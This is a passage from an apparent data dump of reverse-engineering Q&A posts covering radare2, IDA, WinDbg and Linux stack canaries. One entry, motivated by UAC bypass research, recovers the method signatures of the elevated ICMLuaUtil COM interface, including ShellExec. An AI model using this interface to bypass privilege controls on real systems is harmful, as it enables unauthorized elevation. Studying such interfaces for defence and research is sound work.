type=program\n</code></pre>\n\n<p>Indeed, you can see that the entry point is 0x530 and the <code>haddr</code>, which is the header address, is 0x18.</p>\n\n<p><strong>Modifying the entry point</strong></p>\n\n<p>In order to modify this entry, we would need to open the file in writing mode. We can simply execute <code>oo+</code> from our current session in order to re-open the file in write mode, or use the <code>-w</code> argument to <code>radare2</code>.</p>\n\n<p>Then, we can simply use the <code>pf</code> command to write to the parsed structure the address of <code>never_call</code> function.</p>\n\n<pre><code>[0x00000000]&gt; oo+\n[0x00000000]&gt; pf.elf_header.entry=0x0000063a\nwv8 0x0000063a @ 0x00000018\n</code></pre>\n\n<p>This printed us a radare2 command to execute which will modify this address in the header. We can either execute it ourselves or use the <code>.</code> command to \"interpret the output of the command as r2 commands\".</p>\n\n<p>So instead of executing <code>wv8 ...</code>, we will simply do:</p>\n\n<pre><code>[0x00000000]&gt; .pf.elf_header.entry=0x0000063a\n</code></pre>\n\n<p>And now <code>entry</code> should be overridden with 0x63a which is our <code>never_call</code> function.</p>\n\n<pre><code>[0x00000000]&gt; pf.elf_header\n     ident : 0x00000000 = .ELF...\n      type : 0x00000010 = type (enum elf_type) = 0x3 ; ET_DYN\n   machine : 0x00000012 = machine (enum elf_machine) = 0x3e ; EM_AMD64\n   version : 0x00000014 = 0x00000001\n     entry : 0x00000018 = (qword)0x000000000000063a\n     phoff : 0x00000020 = (qword)0x0000000000000040\n     shoff : 0x00000028 = (qword)0x0000000000001948\n     flags : 0x00000030 = 0x00000000\n    ehsize : 0x00000034 = 0x0040\n phentsize : 0x00000036 = 0x0038\n     phnum : 0x00000038 = 0x0009\n shentsize : 0x0000003a = 0x0040\n     shnum : 0x0000003c = 0x001d\n  shstrndx : 0x0000003e = 0x001c\n\n[0x00000000]&gt; pf.elf_header.entry\n     entry : 0x00000018 = (qword)0x000000000000063a\n</code></pre>\n\n<p><strong>Executing</strong></p>\n\n<p>Great! We can now exit radare and execute the program.</p>\n\n<pre><code>$ ./example.elf\n[*] wow how did you manage to call this?\n</code></pre>\n\n<hr>\n\n<h2>Last words</h2>\n\n<p>This long answer explained every step in the way but can really be narrowed to a simple command <code>.pf.elf_header.entry=0x0000063a</code> which sets the <code>entry</code> in the elf header to be the desired address. In the <strong>TL;DR</strong> version I demonstrated the use of <code>-w</code> to open the binary in <code>write-mode</code> and the use of <code>-nn</code> to load the binary structure (<code>pfo elf64</code>, etc...). So simply, opening radare2 like this <code>r2 -w -nn example.elf</code> and executing <code>.pf.elf_header.entry=&lt;address&gt;</code> would solve your problem.</p>\n\n<p>Don't be afraid to ask how to do things in radare2. Although it is quite a scary framework, it is really powerful and with proper knowledge, can do much more things than seems like at first.</p>\n\n<h2>Read more</h2>\n\n<ul>\n<li>radare.today | <a href=\"http://radare.today/posts/parsing-a-fileformat-with-radare2/\" rel=\"noreferrer\">Parsing a fileformat with radare2</a></li>\n<li>r2book | <a href=\"https://radare.gitbooks.io/radare2book/analysis/types.html\" rel=\"noreferrer\">Types</a></li>\n</ul>\n"
    },
    {
        "Id": "19946",
        "CreationDate": "2018-11-22T16:38:35.473",
        "Body": "<p>I am using the hexray api to get all the items of the AST tree (the ctree) obtained by decompiling a function.</p>\n\n<p>Unfortunately, the treeitems vector is always empty. Specifically, the function paaaa in this code returns always '0' or 'E'.</p>\n\n<pre><code>from idautils import *\nfrom idaapi import *\nimport idc\nimport ida_hexrays as hexray\n\ndef load_hex_ray():\n    if not init_hexrays_plugin():\n        idc.RunPlugin(\"hexx64\", 0)\n    if not init_hexrays_plugin():\n        idc.RunPlugin(\"hexrays\", 0)\n    if not init_hexrays_plugin():\n        idc.RunPlugin(\"hexarm\", 0)\n\ndef paaaaa(address):\n        try:\n            cfun=hexray.decompile(address)\n            #if I print cfun it shows correct decompiled code.\n            cfun.refcnt=cfun.refcnt+1\n            cfun.build_c_tree()\n            return str((cfun.treeitems.size()))\n        except:\n            return 'E'\n\nload_hex_ray()\n#code that compute functions addresses and calls paaaaa\n</code></pre>\n\n<p>Any idea on what can be wrong?\nI am using an old version of IDA 7.0</p>\n",
        "Title": "idapython cfunc_t.treeitems always empty",
        "Tags": "|ida|idapython|ast|",
        "Answer": "<p>I fixed the issue even if I do not fully understand why this solution work:</p>\n\n<pre><code>def paaaaa(address):\n    try:\n        cfun=hexray.decompile(address)\n        print(cfun)\n        return str((cfun.treeitems.size()))\n    except:\n        return 'E'\n</code></pre>\n\n<p>probably the print forces ida to correctly populate the ctree. I do not understand why the api cfun.build_c_tree() does not do the same.</p>\n\n<p>However, for now, I am good with this workaround.</p>\n"
    },
    {
        "Id": "19947",
        "CreationDate": "2018-11-22T19:45:07.217",
        "Body": "<p>I have started exploring COM objects, initially I got to it from UAC bypass methods but I guess my question is general. The general question is: <strong>How can I get from (elevated) CLSID in the registry to calling the functions in the COM interface?</strong>. Explanation of the research I performed and my specific questions next. I will use IFileOperation COM (CLSID = 3AD05575-8857-4850-9277-11B85BDB8E09) and ICMLuaUtil COM (CLSID = 3E5FC7F9-9A51-4367-9063-A120244FBEC7) as an example in this post. </p>\n\n<p>COM objects are listed in the registry under <code>HKEY_CLASSES_ROOT\\CLSID</code>. The default value has the COM name and the server DLL file. </p>\n\n<p>Now, in order to list the interfaces associated with it I used <code>oleview</code>, for IFileOperation it showed all the interfaces but for ICMLuaUtil it showed only the . </p>\n\n<p>Even after I get the interface name, I have to get the function list and signatures, this can be extracted from the <code>idl</code> file. A great answer presented <a href=\"https://reverseengineering.stackexchange.com/questions/2822/com-interface-methods\">here</a> shows how to get from an interface name to its function signatures by examining the example code and searching for <code>idl</code> file with the same name as the imports in the <code>sdk</code> folder. I have tried applying similar approach with the two interfaces with partial success. </p>\n\n<ol>\n<li>For IFileOperation, the example source has 4 includes neither of which has exact same <code>idl</code> file in the sdk folder. So i search the content of all the files in the folder for the word <code>IFileOperation</code> which resulted in getting the desired file: <code>shobjidl_core</code>. </li>\n<li>Unfortunately I couldn't do the same thing with <code>ICMLuaUtil</code> as I don't know the interface name, I tried several name variations but got nothing. </li>\n</ol>\n\n<p>Other methods I tried are:</p>\n\n<ol>\n<li>Extracting all files from the DLLs I found in the registry (nothing there)</li>\n<li>COMViewer should present additional information but it didn't work on my Windows 10 machine (didn't start), even with compatibility mode.</li>\n</ol>\n\n<p>My question is how do I get from the (sometimes undocumented) COM objects to concrete interface definition so I could use it in my code? The <a href=\"https://github.com/hfiref0x/UACME\" rel=\"nofollow noreferrer\">UACMe</a> project has a concrete definition of the interface for <code>ICMLuaUtil</code>, so there must be a method to obtain it. What are the guidelines and steps to obtain those function signatures?</p>\n",
        "Title": "Get interface definition of undocumented COM objects",
        "Tags": "|windows|dll|functions|com|windows-10|",
        "Answer": "<p>well the answers out there are good this is just an addition to show how you could arrive using windbg in command line</p>\n\n<p>dbh is an utility in windbg installation that can load any binary and provide a lot of static information \nusing it and the command line version of windbg cdb.exe you can get the methods in two commands (notice the method names are demangled)</p>\n\n<pre><code>C:\\&gt;dbh c:\\Windows\\System32\\cmlua.dll  \"x CCM*\" | grep -i vf\n    11            1002d58 :   CCMLuaUtil::`vftable'\n\nC:\\&gt;cdb -c \"dps cmlua.dll+2d58\" -z c:\\Windows\\System32\\cmlua.dll\n\nMicrosoft (R) Windows Debugger Version 10.0.16299.15 X86\nLoading Dump File [c:\\Windows\\System32\\cmlua.dll]\n\n\ncmlua!_DllMainCRTStartup:\n100061e7 8bff            mov     edi,edi\n\n0:000&gt; cdb: Reading initial command 'dps cmlua.dll+2d58'\n\n10002d58  100042ad cmlua!CCMLuaUtil::QueryInterface\n10002d5c  10004e82 cmlua!CCMLuaUtil::AddRef\n10002d60  10004279 cmlua!CCMLuaUtil::Release\n10002d64  10004346 cmlua!CCMLuaUtil::SetRasCredentials\n10002d68  10004401 cmlua!CCMLuaUtil::SetRasEntryProperties\n10002d6c  100044dd cmlua!CCMLuaUtil::DeleteRasEntry\n10002d70  10004573 cmlua!CCMLuaUtil::LaunchInfSection\n10002d74  100045e1 cmlua!CCMLuaUtil::LaunchInfSectionEx\n10002d78  10004630 cmlua!CCMLuaUtil::CreateLayerDirectory\n10002d7c  1000466e cmlua!CCMLuaUtil::ShellExec\n10002d80  10004690 cmlua!CCMLuaUtil::SetRegistryStringValue\n10002d84  10004701 cmlua!CCMLuaUtil::DeleteRegistryStringValue\n10002d88  100055da cmlua!CCMLuaUtil::DeleteRegKeysWithoutSubKeys\n10002d8c  10004767 cmlua!CCMLuaUtil::DeleteRegTree\n10002d90  100048cc cmlua!CCMLuaUtil::ExitWindowsFunc\n10002d94  10005c72 cmlua!CCMLuaUtil::AllowAccessToTheWorld\n10002d98  100048d9 cmlua!CCMLuaUtil::CreateFileAndClose\n10002d9c  1000560f cmlua!CCMLuaUtil::DeleteHiddenCmProfileFiles\n10002da0  1000492a cmlua!CCMLuaUtil::CallCustomActionDll\n10002da4  10004b6c cmlua!CCMLuaUtil::RunCustomActionExe\n10002da8  10004c2c cmlua!CCMLuaUtil::SetRasSubEntryProperties\n10002dac  10004d0e cmlua!CCMLuaUtil::DeleteRasSubEntry\n10002db0  10004da7 cmlua!CCMLuaUtil::SetCustomAuthData\n10002db4  10005cdb cmlua!CCMLuaUtil::`vector deleting destructor'\n10002db8  00000000\n10002dbc  10009138 cmlua!hProxyDll+0x10\n10002dc0  10009188 cmlua!hProxyDll+0x60\n10002dc4  00000000\n10002dc8  69727453\n10002dcc  6343676e\n10002dd0  706f4368\n10002dd4  20784579\n0:000&gt;\n</code></pre>\n\n<p><a href=\"https://stackoverflow.com/questions/36251393/get-parameters-of-public-symbols-in-windbg/36295654#36295654\">now dbh has a switch -d which would output mangled names and you can leverage that switch to print the parameters to the Methods</a> </p>\n\n<pre><code>C:\\&gt;echo off\n\nfor /F %i in ('dbh -d c:\\Windows\\System32\\cmlua.dll  \"x *CCM*\"  ^| awk \"{print $4}\"') do  dbh c:\\windows\\system32\\cmlua.\ndll undec %i\n\n?Release@CCMLuaUtil@@UAGKXZ =\npublic: virtual unsigned long __stdcall CCMLuaUtil::Release(void)\n\n??_ECCMLuaUtil@@UAEPAXI@Z =\npublic: virtual void * __thiscall CCMLuaUtil::`vector deleting destructor'(unsigned int)\n\n??0CCMLuaUtil@@QAE@XZ =\npublic: __thiscall CCMLuaUtil::CCMLuaUtil(void)\n\n?AddRef@CCMLuaUtil@@UAGKXZ =\npublic: virtual unsigned long __stdcall CCMLuaUtil::AddRef(void)\n\n?CreateFileAndClose@CCMLuaUtil@@UAGJPBGKKKK@Z =\npublic: virtual long __stdcall CCMLuaUtil::CreateFileAndClose(unsigned short const *,unsigned long,unsigned long,unsigne\nd long,unsigned long)\n\n?DeleteHiddenCmProfileFiles@CCMLuaUtil@@UAGJPBG@Z =\npublic: virtual long __stdcall CCMLuaUtil::DeleteHiddenCmProfileFiles(unsigned short const *)\n\n??_GCCMLuaUtil@@UAEPAXI@Z =\npublic: virtual void * __thiscall CCMLuaUtil::`scalar deleting destructor'(unsigned int)\n\n?SetRasSubEntryProperties@CCMLuaUtil@@UAGJPBG0KPAPAGK@Z =\npublic: virtual long __stdcall CCMLuaUtil::SetRasSubEntryProperties(unsigned short const *,unsigned short const *,unsign\ned long,unsigned short * *,unsigned long)\n\n?QueryInterface@CCMLuaUtil@@UAGJABU_GUID@@PAPAX@Z =\npublic: virtual long __stdcall CCMLuaUtil::QueryInterface(struct _GUID const &amp;,void * *)\n\n?CCMLuaUtil_CreateInstance@@YGJABU_GUID@@PAPAX@Z =\nlong __stdcall CCMLuaUtil_CreateInstance(struct _GUID const &amp;,void * *)\n\n?ExitWindowsFunc@CCMLuaUtil@@UAGJXZ =\npublic: virtual long __stdcall CCMLuaUtil::ExitWindowsFunc(void)\n\n?CreateLayerDirectory@CCMLuaUtil@@UAGJPBG@Z =\npublic: virtual long __stdcall CCMLuaUtil::CreateLayerDirectory(unsigned short const *)\n\n?LaunchInfSectionEx@CCMLuaUtil@@UAGJPBG0K@Z =\npublic: virtual long __stdcall CCMLuaUtil::LaunchInfSectionEx(unsigned short const *,unsigned short const *,unsigned lon\ng)\n\n?ShellExec@CCMLuaUtil@@UAGJPBG00KK@Z =\npublic: virtual long __stdcall CCMLuaUtil::ShellExec(unsigned short const *,unsigned short const *,unsigned short const\n*,unsigned long,unsigned long)\n\n?DeleteRasEntry@CCMLuaUtil@@UAGJPBG0@Z =\npublic: virtual long __stdcall CCMLuaUtil::DeleteRasEntry(unsigned short const *,unsigned short const *)\n\n?DeleteRegistryStringValue@CCMLuaUtil@@UAGJHPBG0@Z =\npublic: virtual long __stdcall CCMLuaUtil::DeleteRegistryStringValue(int,unsigned short const *,unsigned short const *)\n\n??_7CCMLuaUtil@@6B@ =\nconst CCMLuaUtil::`vftable'\n\n?LaunchInfSection@CCMLuaUtil@@UAGJPBG00H@Z =\npublic: virtual long __stdcall CCMLuaUtil::LaunchInfSection(unsigned short const *,unsigned short const *,unsigned short\n const *,int)\n\n?SetCustomAuthData@CCMLuaUtil@@UAGJPBG00K@Z =\npublic: virtual long __stdcall CCMLuaUtil::SetCustomAuthData(unsigned short const *,unsigned short const *,unsigned shor\nt const *,unsigned long)\n\n?DeleteRasSubEntry@CCMLuaUtil@@UAGJPBG0K@Z =\npublic: virtual long __stdcall CCMLuaUtil::DeleteRasSubEntry(unsigned short const *,unsigned short const *,unsigned long\n)\n\n?DeleteRegTree@CCMLuaUtil@@UAGJHPBG@Z =\npublic: virtual long __stdcall CCMLuaUtil::DeleteRegTree(int,unsigned short const *)\n\n?DeleteRegKeysWithoutSubKeys@CCMLuaUtil@@UAGJHPBGH@Z =\npublic: virtual long __stdcall CCMLuaUtil::DeleteRegKeysWithoutSubKeys(int,unsigned short const *,int)\n\n?CallCustomActionDll@CCMLuaUtil@@UAGJPBG000PAK@Z =\npublic: virtual long __stdcall CCMLuaUtil::CallCustomActionDll(unsigned short const *,unsigned short const *,unsigned sh\nort const *,unsigned short const *,unsigned long *)\n\n?SetRegistryStringValue@CCMLuaUtil@@UAGJHPBG00@Z =\npublic: virtual long __stdcall CCMLuaUtil::SetRegistryStringValue(int,unsigned short const *,unsigned short const *,unsi\ngned short const *)\n\n?SetRasCredentials@CCMLuaUtil@@UAGJPBG00H@Z =\npublic: virtual long __stdcall CCMLuaUtil::SetRasCredentials(unsigned short const *,unsigned short const *,unsigned shor\nt const *,int)\n\n?SetRasEntryProperties@CCMLuaUtil@@UAGJPBG0PAPAGK@Z =\npublic: virtual long __stdcall CCMLuaUtil::SetRasEntryProperties(unsigned short const *,unsigned short const *,unsigned\nshort * *,unsigned long)\n\n?AllowAccessToTheWorld@CCMLuaUtil@@UAGJPBG@Z =\npublic: virtual long __stdcall CCMLuaUtil::AllowAccessToTheWorld(unsigned short const *)\n\n?RunCustomActionExe@CCMLuaUtil@@UAGJPBG0PAPAG@Z =\npublic: virtual long __stdcall CCMLuaUtil::RunCustomActionExe(unsigned short const *,unsigned short const *,unsigned sho\nrt * *)\n</code></pre>\n"
    },
    {
        "Id": "19954",
        "CreationDate": "2018-11-24T10:15:26.117",
        "Body": "<p>I'm just starting out with reverse engineering, one thing I'm finding difficult is identifying different areas of memory. I'm using radare2, and I would like to be able to easily seek and identify different sections of memory (e.g. data/text/stack/heap etc):</p>\n\n<p>Is there an easy way to do this within radare2?</p>\n",
        "Title": "How to identify different memory regions of an elf binary in radare2?",
        "Tags": "|debugging|radare2|elf|",
        "Answer": "<p>It is possible to list the sections and segments of a program using radare2.</p>\n\n<p><strong>Sections</strong><br>\nUse <code>iS</code> to list the program's Sections:</p>\n\n<pre><code>[0x00001c50]&gt; iS\n[Sections]\nNm Paddr       Size Vaddr      Memsz Perms Name\n00 0x00000000     0 0x00000000     0 ----\n01 0x00000238    28 0x00000238    28 -r-- .interp\n02 0x00000254    32 0x00000254    32 -r-- .note.ABI_tag\n03 0x00000274    36 0x00000274    36 -r-- .note.gnu.build_id\n04 0x00000298   100 0x00000298   100 -r-- .gnu.hash\n&lt;truncated for readability&gt;\n19 0x00007bf0     8 0x00207bf0     8 -rw- .init_array\n20 0x00007bf8     8 0x00207bf8     8 -rw- .fini_array\n21 0x00007c00    88 0x00207c00    88 -rw- .data.rel.ro\n22 0x00007c58   496 0x00207c58   496 -rw- .dynamic\n23 0x00007e48   440 0x00207e48   440 -rw- .got\n24 0x00008000   128 0x00208000   128 -rw- .data\n25 0x00008080     0 0x00208080   416 -rw- .bss\n26 0x00008080    52 0x00000000    52 ---- .gnu_debuglink\n27 0x000080b4   257 0x00000000   257 ---- .shstrtab\n</code></pre>\n\n<p><strong>Segements</strong><br>\n Use <code>iSS</code> to list its Segments:</p>\n\n<pre><code>[0x00001c50]&gt; iSS\n[Segments]\nNm Paddr       Size Vaddr      Memsz Perms Name\n00 0x00000040   504 0x00000040   504 -r-x PHDR\n01 0x00000238    28 0x00000238    28 -r-- INTERP\n02 0x00000000 28120 0x00000000 28120 -r-x LOAD0\n03 0x00007bf0  1168 0x00207bf0  1584 -rw- LOAD1\n04 0x00007c58   496 0x00207c58   496 -rw- DYNAMIC\n05 0x00000254    68 0x00000254    68 -r-- NOTE\n06 0x000060a4   580 0x000060a4   580 -r-- GNU_EH_FRAME\n07 0x00000000     0 0x00000000     0 -rw- GNU_STACK\n08 0x00007bf0  1040 0x00207bf0  1040 -r-- GNU_RELRO\n09 0x00000000    64 0x00000000    64 -rw- ehdr\n</code></pre>\n\n<p><strong>Memory maps</strong><br>\nIf you want to list different memory maps of a running executable, including the Heap and Stack, this can also be done with radare2. This is relevant only when you are debugging a program (using <code>r2 -d &lt;program&gt;</code>):</p>\n\n<pre><code>[0x7f5e8d50bca6]&gt; dm\n0x000055e186c63000 - 0x000055e186c6b000 - usr    32K s r-x /usr/bin/cat /usr/bin/cat ; map.usr_bin_cat.r_x\n0x000055e186e6a000 - 0x000055e186e6b000 - usr     4K s r-- /usr/bin/cat /usr/bin/cat ; map.usr_bin_cat.rw\n0x000055e186e6b000 - 0x000055e186e6c000 - usr     4K s rw- /usr/bin/cat /usr/bin/cat ; section..data\n0x000055e188c8b000 - 0x000055e188cac000 - usr   132K s rw- [heap] [heap]\n0x00007f5e8d446000 - 0x00007f5e8d5f9000 * usr   1.7M s r-x /usr/lib/libc-2.27.so /usr/lib/libc-2.27.so\n&lt;truncated for readability&gt;\n0x00007f5e8da28000 - 0x00007f5e8da29000 - usr     4K s rw- unk2 unk2 ; map.unk0.rw\n0x00007ffffa7d7000 - 0x00007ffffa7f8000 - usr   132K s rw- [stack] [stack] ; map.stack_.rw\n0x00007ffffa7f9000 - 0x00007ffffa7fc000 - usr    12K s r-- [vvar] [vvar] ; map.vvar_.r\n0x00007ffffa7fc000 - 0x00007ffffa7fe000 - usr     8K s r-x [vdso] [vdso] ; map.vdso_.r_x\n</code></pre>\n"
    },
    {
        "Id": "19967",
        "CreationDate": "2018-11-26T11:09:16.170",
        "Body": "<p>Using <kbd>Alt</kbd>+<kbd>P</kbd> on a function and hitting enter will force a reanalysis of the function (<a href=\"https://www.hex-rays.com/products/ida/support/idadoc/485.shtml\" rel=\"nofollow noreferrer\">https://www.hex-rays.com/products/ida/support/idadoc/485.shtml</a>)</p>\n\n<p>Is there a way to do this through API? </p>\n",
        "Title": "API to force reanalyze of function (Alt-P)",
        "Tags": "|ida|idapython|",
        "Answer": "<p><a href=\"https://hex-rays.com/products/ida/support/idapython_docs/ida_auto.html#ida_auto.auto_make_proc\" rel=\"nofollow noreferrer\"><code>ida_auto.auto_make_proc(addr)</code></a> should do that.</p>\n"
    },
    {
        "Id": "19970",
        "CreationDate": "2018-11-26T17:40:22.030",
        "Body": "<p>I just wanted to know if there's any ready-to-go OS for malware analysis/reverse engineering? I prefer OS that is capable of installing on real hardware, not a VM.</p>\n",
        "Title": "Is there any ready-to-go malware analysis/reverse engineering OS? (That is capable of installing on hard disk, preferably)",
        "Tags": "|operating-systems|",
        "Answer": "<ul>\n<li><p>FireEye's <a href=\"https://www.fireeye.com/blog/threat-research/2017/07/flare-vm-the-windows-malware.html\" rel=\"nofollow noreferrer\">FLARE VM</a></p>\n\n<blockquote>\n  <p>FLARE VM is a freely available and open sourced Windows-based security\n  distribution designed for reverse engineers, malware analysts,\n  incident responders, forensicators, and penetration testers. Inspired\n  by open-source Linux-based security distributions like Kali Linux,\n  REMnux and others, FLARE VM delivers a fully configured platform with\n  a comprehensive collection of Windows security tools such as\n  debuggers, disassemblers, decompilers, static and dynamic analysis\n  utilities, network analysis and manipulation, web assessment,\n  exploitation, vulnerability assessment applications, and many others.</p>\n  \n  <p>The distribution also includes the FLARE team\u2019s public malware\n  analysis tools such as FLOSS and FakeNet-NG.</p>\n</blockquote></li>\n<li><p>Kali Linux</p>\n\n<ul>\n<li><a href=\"https://tools.kali.org/tools-listing\" rel=\"nofollow noreferrer\">Forensics tools included by default</a>:\nBinwalk, bulk-extractor, Capstone, chntpw, Cuckoo dc3dd, ddrescue, DFF, diStorm3, Dumpzilla, extundelete, Foremost, Galleta, Guymager, iPhone Backup Analyzer, p0f, pdf-parser, pdfid, pdgmail, peepdf, RegRipper, Volatility,\nXplico</li>\n<li><a href=\"https://docs.kali.org/general-use/kali-linux-forensics-mode\" rel=\"nofollow noreferrer\">\"Forensics mode\"</a></li>\n</ul></li>\n<li><p><a href=\"https://tsurugi-linux.org/tsurugi_linux.php\" rel=\"nofollow noreferrer\">Tsurugi Linux</a></p>\n\n<ul>\n<li><blockquote>\n  <p>Tsurugi is an heavily customized Linux distribution designed to\n  support your DFIR investigations, malware analysis and open source\n  intelligence activities.</p>\n  \n  <p>In this distribution are included the latest versions of the most\n  famous tools you need to conduct an in-depth forensic or incident\n  response investigation and several useful features like device write\n  blocking at kernel level, an OSINT profile switcher and much more!</p>\n</blockquote></li>\n</ul></li>\n</ul>\n"
    },
    {
        "Id": "19977",
        "CreationDate": "2018-11-27T01:31:24.743",
        "Body": "<p>I usually use remote linux debugger as shown below:</p>\n\n<pre><code>./linux_server bin\n</code></pre>\n\n<p>And in IDA Pro, I select Remote Linux Debugger as the debugger and set the process options accordingly with the IP address and port of the Linux machine. The default port is 23946.</p>\n\n<p>This works alright.</p>\n\n<p>However, if I already have a process running on the Linux Machine with PID: 400. How can I attach Remote Linux debugger to this already running process?</p>\n\n<p>I can see that linux_server provides only the following options:</p>\n\n<pre><code>$ ./linux_server --help\n  -i...  IP address to bind to (default to any)\n  -v     verbose\n  -p...  port number\n  -P...  password\n  -k     keep broken connections\n</code></pre>\n\n<p>Thanks.</p>\n",
        "Title": "IDA remote linux Debugger attach to a running process",
        "Tags": "|ida|debugging|linux|",
        "Answer": "<p>IDA allows remote process debugging as shown in the fourth page <a href=\"https://www.hex-rays.com/products/ida/support/freefiles/remotedbg.pdf\" rel=\"nofollow noreferrer\">here</a>  </p>\n\n<p>Note that you need to run the server with sudo so it could attach to the remote process.<br>\nAlso note that you need to have the executable (more precisely, the database) that you want to debug in IDA.</p>\n\n<p>You can see what I did on the linux machine:</p>\n\n<p><a href=\"https://i.stack.imgur.com/PkkIv.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/PkkIv.png\" alt=\"linux machine screenshot\"></a></p>\n\n<p>I've compiled the code you can see in the background. It's an endless loop to simulate a running process that you want to debug.</p>\n\n<p>On the connecting machine (Windows in my case):<br>\nIn debugger -> process options you need to configure everything as you would normally do to a regular remote debugging. You said you already have this step completed so that's ok.</p>\n\n<p><a href=\"https://i.stack.imgur.com/UNqRV.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/UNqRV.png\" alt=\"debugger-&gt;process options\"></a></p>\n\n<p>After that, press debugger -> attach  to process and you'll be presented with a list of processes (for me it showed all of the running process, you might see only the processes that match the database, atleast that what I would expect). Select the process you want to debug:</p>\n\n<p><a href=\"https://i.stack.imgur.com/mNDjG.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/mNDjG.png\" alt=\"processes list\"></a></p>\n\n<p>After a couple of single steps, I'm back to main and can debug the process:</p>\n\n<p><a href=\"https://i.stack.imgur.com/zanAE.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/zanAE.png\" alt=\"ida debug view\"></a></p>\n"
    },
    {
        "Id": "19979",
        "CreationDate": "2018-11-27T05:09:00.010",
        "Body": "<p>In a 64 bit ELF binary I found it mainly uses <code>fs</code> register to get some values. How can I know which value it wants to access? I'm familiar with that NT kernel uses <code>fs</code> and <code>gs</code> register for <a href=\"https://en.wikipedia.org/wiki/Win32_Thread_Information_Block\" rel=\"nofollow noreferrer\">TEB</a> structure in 32 bit and 64 bit OS respectively. </p>\n\n<p>Here are two examples:</p>\n\n<p>1.</p>\n\n<pre><code>mov rax, fs:28h\nmov [rsp+88], rax\n</code></pre>\n\n<p>2.</p>\n\n<pre><code>sub_a proc near\nmov rax, fs:0\nadd rax, 44h\nretn\nsub_a endp\n</code></pre>\n",
        "Title": "What does fs and gs registers provide in Linux?",
        "Tags": "|assembly|x86|linux|",
        "Answer": "<p>The <code>gs</code>/<code>fs</code> <a href=\"https://en.wikipedia.org/wiki/X86_memory_segmentation\" rel=\"noreferrer\">segment</a> can be used for <a href=\"https://en.wikipedia.org/wiki/Thread-local_storage\" rel=\"noreferrer\">thread local storage</a> similar to what you have encountered in Windows. Variable specific to a thread such as <code>errno</code>, <a href=\"https://elixir.bootlin.com/linux/v4.14/source/arch/x86/include/asm/stackprotector.h\" rel=\"noreferrer\">stack canary</a> etc are usually stored here in Linux. </p>\n\n<p>According to <a href=\"https://elixir.bootlin.com/linux/v4.14/source/arch/x86/include/asm/stackprotector.h\" rel=\"noreferrer\">this</a>, your first example is to save canary to the stack from <code>fs:0x28</code>. You can see some hacks <a href=\"https://github.com/zardus/preeny/blob/master/src/getcanary.c\" rel=\"noreferrer\">here</a> and read more <a href=\"https://stackoverflow.com/questions/6611346/how-are-the-fs-gs-registers-used-in-linux-amd64\">here</a></p>\n\n<p>Canary check from an example binary </p>\n\n<pre><code>$ tail x.c \n\n#include &lt;stdio.h&gt;\n\nint main(int argc, char **argv)\n{\n    char s[32];\n    scanf(\"%s\", s);\n    return 0;\n}\n\n$ gcc -no-pie -fno-pic x.c -o z64   \n$ gcc -m32 -no-pie -fno-pic x.c -o z32   \n$ r2 -AA z32 -qc \"pdf @ sym.main\"     \n            ;-- main:\n\u250c (fcn) sym.main 86\n....\n\u2502           0x080484bf      65a114000000   mov eax, dword gs:[0x14]    ; [0x14:4]=-1 ; 20\n\u2502           0x080484c5      8945f4         mov dword [local_ch], eax\n\u2502           0x080484c8      31c0           xor eax, eax\n....\n\u2502           0x080484e3      8b55f4         mov edx, dword [local_ch]\n\u2502           0x080484e6      653315140000.  xor edx, dword gs:[0x14]\n\u2502       \u250c\u2500&lt; 0x080484ed      7405           je 0x80484f4\n\u2502       \u2502   0x080484ef      e85cfeffff     call sym.imp.__stack_chk_fail ; void __stack_chk_fail(void)\n....\n$ r2 -AA z64 -qc \"pdf @ sym.main\"\n            ;-- main:\n\u250c (fcn) sym.main 79\n....\n\u2502           0x00400586      64488b042528.  mov rax, qword fs:[0x28]    ; [0x28:8]=-1 ; '(' ; 40\n\u2502           0x0040058f      488945f8       mov qword [local_8h], rax\n\u2502           0x00400593      31c0           xor eax, eax\n....\n\u2502           0x004005b0      488b55f8       mov rdx, qword [local_8h]\n\u2502           0x004005b4      644833142528.  xor rdx, qword fs:[0x28]\n\u2502       \u250c\u2500&lt; 0x004005bd      7405           je 0x4005c4\n\u2502       \u2502   0x004005bf      e8acfeffff     call sym.imp.__stack_chk_fail ; void __stack_chk_fail(void)\n....\n</code></pre>\n\n<p>Also for your second request, yes that is <a href=\"http://man7.org/linux/man-pages/man0/sys_types.h.0p.html\" rel=\"noreferrer\"><code>pthread_t</code></a> at offset 0 in <code>fs</code>/<code>gs</code>.</p>\n\n<pre><code>$ tail -n 30 x.c\n\n#ifdef __x86_64__\n#define val_t     uint64_t\n#define INSN_READ    \"movq %%fs:0, %0;\"\n#define FMT          \"Found val: %#lx\\n\"\n\n#elif __i386__\n#define val_t     uint32_t\n#define INSN_READ    \"movl %%gs:0, %0;\"\n#define FMT          \"Found val: %#x\\n\"\n#endif\n\nval_t read_val()\n{\n    val_t val = 0;\n\n    __asm__(INSN_READ\n        : \"=r\"(val)\n        :\n        :);\n\n    return val;\n}\nint main(int argc, char **argv)\n{\n    printf(FMT, read_val());\n    printf(FMT, (val_t)pthread_self());\n    return 0;\n}\n\n$ gcc -no-pie -fno-pic x.c -o zm64\n$ gcc -m32 -no-pie -fno-pic x.c -o zm32\n\n$ ./zm32 \nFound val: 0xf7f800c0\nFound val: 0xf7f800c0\n\n$ ./zm64 \nFound val: 0x7fd50119f4c0\nFound val: 0x7fd50119f4c0\n</code></pre>\n\n<p>I tried to look for your second snippet in my <code>libc</code> but couldn't find it. SO can't answer for sure what it contains at <code>0x44</code>. While debugging I only got 0s at that offset.</p>\n\n<pre><code>  $ r2 /lib/x86_64-linux-gnu/libc.so.6\n   -- There is only one binary, and we are all just reversing pieces of it.\n  [0x00021cb0]&gt; /x `!rasm2 -a x86.as -b 64 \"mov rax, fs:[0]\"`\n  Searching 9 bytes in [0x0-0x1e6aa0]\n  hits: 7\n  Searching 9 bytes in [0x3e7620-0x3f0ae0]\n  hits: 0\n  0x000e18c9 hit0_0 64488b042500000000\n  0x000e1d8a hit0_1 64488b042500000000\n  0x00105cff hit0_2 64488b042500000000\n  0x00105e50 hit0_3 64488b042500000000\n  0x00105f21 hit0_4 64488b042500000000\n  0x00106865 hit0_5 64488b042500000000\n  0x0014a18a hit0_6 64488b042500000000\n  [0x00021cb0]&gt; pd10 @@ hit0_*\n              ;-- hit0_0:\n              0x000e18c9      64488b042500.  mov rax, qword fs:[0]\n              